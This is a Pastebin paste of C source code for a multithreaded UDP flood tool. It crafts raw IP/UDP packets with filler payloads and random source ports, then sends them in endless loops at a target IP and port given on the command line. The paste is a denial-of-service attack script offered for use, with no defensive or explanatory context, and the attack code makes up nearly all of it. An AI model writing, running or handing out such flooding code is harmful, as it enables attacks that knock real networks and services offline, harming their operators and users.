Advertisement
Guest User

Untitled

a guest
Feb 10th, 2016
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.73 KB | None | 0 0
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10. #define MAX_PACKET_SIZE 4096
  11. #define PHI 0x9e3779b9
  12. static uint32_t Q[4096], c = 362436;
  13. struct thread_data{
  14.         int throttle;
  15.     int thread_id;
  16.     unsigned int floodport;
  17.     struct sockaddr_in sin;
  18. };
  19. void init_rand(uint32_t x)
  20. {
  21.         int i;
  22.         Q[0] = x;
  23.         Q[1] = x + PHI;
  24.         Q[2] = x + PHI + PHI;
  25.         for (i = 3; i < 4096; i++)
  26.                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  27. }
  28. uint32_t rand_cmwc(void)
  29. {
  30.         uint64_t t, a = 18782LL;
  31.         static uint32_t i = 4095;
  32.         uint32_t x, r = 0xfffffffe;
  33.         i = (i + 1) & 4095;
  34.         t = a * Q[i] + c;
  35.         c = (t >> 32);
  36.         x = t + c;
  37.         if (x < c) {
  38.                 x++;
  39.                 c++;
  40.         }
  41.         return (Q[i] = r - x);
  42. }
  43. char *myStrCat (char *s, char *a) {
  44.     while (*s != '\0') s++;
  45.     while (*a != '\0') *s++ = *a++;
  46.     *s = '\0';
  47.     return s;
  48. }
  49. char *replStr (char *str, size_t count) {
  50.     if (count == 0) return NULL;
  51.     char *ret = malloc (strlen (str) * count + count);
  52.     if (ret == NULL) return NULL;
  53.     *ret = '\0';
  54.     char *tmp = myStrCat (ret, str);
  55.     while (--count > 0) {
  56.         tmp = myStrCat (tmp, str);
  57.     }
  58.     return ret;
  59. }
  60. unsigned short csum (unsigned short *buf, int nwords)
  61. {
  62.   unsigned long sum;
  63.   for (sum = 0; nwords > 0; nwords--)
  64.   sum += *buf++;
  65.   sum = (sum >> 16) + (sum & 0xffff);
  66.   sum += (sum >> 16);
  67.   return (unsigned short)(~sum);
  68. }
  69. void setup_ip_header(struct iphdr *iph)
  70. {
  71.   iph->ihl = 5;
  72.   iph->version = 4;
  73.   iph->tos = 0;
  74.   iph->tot_len = sizeof(struct iphdr) + 1028;
  75.   iph->id = htonl(54321);
  76.   iph->frag_off = 0;
  77.   iph->ttl = MAXTTL;
  78.   iph->protocol = IPPROTO_UDP;
  79.   iph->check = 0;
  80. }
  81. void setup_udp_header(struct udphdr *udph)
  82. {
  83.   udph->source = htons(5678);
  84.   udph->check = 0;
  85.   char *data = (char *)udph + sizeof(struct udphdr);
  86.   data = replStr("\xFF" "\xFF" "\xFF" "\xFF", 256);
  87.   udph->len=htons(1028);
  88. }
  89. void *flood(void *par1)
  90. {
  91.   struct thread_data *td = (struct thread_data *)par1;
  92.   fprintf(stdout, "Thread %d started\n", td->thread_id);
  93.   char datagram[MAX_PACKET_SIZE];
  94.   struct iphdr *iph = (struct iphdr *)datagram;
  95.   struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  96.   struct sockaddr_in sin = td->sin;
  97.   char new_ip[sizeof "255.255.255.255"];
  98.  
  99.   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  100.   if(s < 0){
  101.     fprintf(stderr, "Could not open raw socket.\n");
  102.     exit(-1);
  103.   }
  104.   unsigned int floodport = td->floodport;
  105.   memset(datagram, 0, MAX_PACKET_SIZE);
  106.   setup_ip_header(iph);
  107.   setup_udp_header(udph);
  108.   udph->dest = htons(floodport);
  109.   iph->daddr = sin.sin_addr.s_addr;
  110.   iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  111.   int tmp = 1;
  112.   const int *val = &tmp;
  113.   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  114.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  115.     exit(-1);
  116.   }
  117.   int throttle = td->throttle;
  118.   uint32_t random_num;
  119.   init_rand(time(NULL));
  120.   if(throttle == 0){
  121.     while(1){
  122.       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  123.       random_num = rand_cmwc();
  124.       udph->source = htons(random_num & 0xFFFF);
  125.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  126.     }
  127.   } else {
  128.     while(1){
  129.       throttle = td->throttle;
  130.       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  131.       random_num = rand_cmwc();
  132.       udph->source = htons(random_num & 0xFFFF);
  133.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  134.  
  135.      while(--throttle);
  136.     }
  137.   }
  138. }
  139. int main(int argc, char *argv[ ])
  140. {
  141.   if(argc < 5){
  142.     fprintf(stderr, "Invalid parameters!\n");
  143.     fprintf(stdout, "\nUsage: %s <target IP> <port to be flooded> <throttle> <number threads to use> <time>\n", argv[0]);
  144.     exit(-1);
  145.   }
  146.   fprintf(stdout, "Setting up Sockets...\n");
  147.   int num_threads = atoi(argv[4]);
  148.   unsigned int floodport = atoi(argv[2]);
  149.   pthread_t thread[num_threads];
  150.   struct sockaddr_in sin;
  151.   sin.sin_family = AF_INET;
  152.   sin.sin_port = htons(floodport);
  153.   sin.sin_addr.s_addr = inet_addr(argv[1]);
  154.   struct thread_data td[num_threads];
  155.   int i;
  156.   for(i = 0;i<num_threads;i++){
  157.     td[i].thread_id = i;
  158.     td[i].sin = sin;
  159.     td[i].floodport = floodport;
  160.     td[i].throttle = atoi(argv[3]);
  161.     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  162.   }
  163.   fprintf(stdout, "Starting Flood...\n");
  164.   if(argc > 5)
  165.   {
  166.     sleep(atoi(argv[5]));
  167.   } else {
  168.     while(1){
  169.       sleep(1);
  170.     }
  171.   }
  172.   return 0;
  173. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement